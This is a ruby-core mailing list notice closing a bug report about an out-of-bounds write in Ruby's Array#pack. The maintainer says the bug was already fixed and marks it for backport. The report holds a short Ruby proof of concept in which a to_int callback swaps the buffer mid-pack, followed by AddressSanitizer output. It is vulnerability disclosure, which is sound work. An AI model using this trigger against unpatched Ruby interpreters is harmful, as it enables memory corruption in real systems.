From: "peterzhu2118 (Peter Zhu) via ruby-core" <ruby-core@...>
Date: 2026-09-18T23:09:34+00:00
Subject: [ruby-core:126788] [Ruby Bug#22337] OOB write in array.pack()

Issue #22337 has been updated by peterzhu2118 (Peter Zhu).

Status changed from Open to Closed
Backport changed from 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN to 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED

Thank you for the bug report, I believe this has already been fixed [in this PR](https://github.com/ruby/ruby/pull/18884). I have marked this for backport.

----------------------------------------
Bug #22337: OOB write in array.pack()
https://bugs.ruby-lang.org/issues/22337#change-119091

* Author: danielchong (Daniel Chong)
* Status: Closed
* ruby -v: 4.1.0-dev
* Backport: 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED
----------------------------------------
Hi, I found a case that causes an oob write in array.pack()

PoC:
```
buf = "Z" * 4096
$buf = buf
evil = Object.new
def evil.to_int
  $buf.replace("q")    
  123456789            
end
[evil].pack("r", buffer: buf)
```

asan output (truncated):
```
==ERROR: AddressSanitizer: use-after-poison ... WRITE of size 1
    #0 bary_pack            bignum.c:911
    #1 rb_integer_pack      bignum.c:3673
    #2 pack_pack            pack.c:800            <- write at RSTRING_PTR(res)+stale_start
    #3 vm_opt_newarray_pack_buffer  vm_insnhelper.c:6632
Address ... is a wild pointer inside of access range of size 0x1.
```



-- 
https://bugs.ruby-lang.org/
______________________________________________
 ruby-core mailing list -- ruby-core@ml.ruby-lang.org
 To unsubscribe send an email to ruby-core-leave@ml.ruby-lang.org
 ruby-core info -- https://ml.ruby-lang.org/mailman3/lists/ruby-core.ml.ruby-lang.org/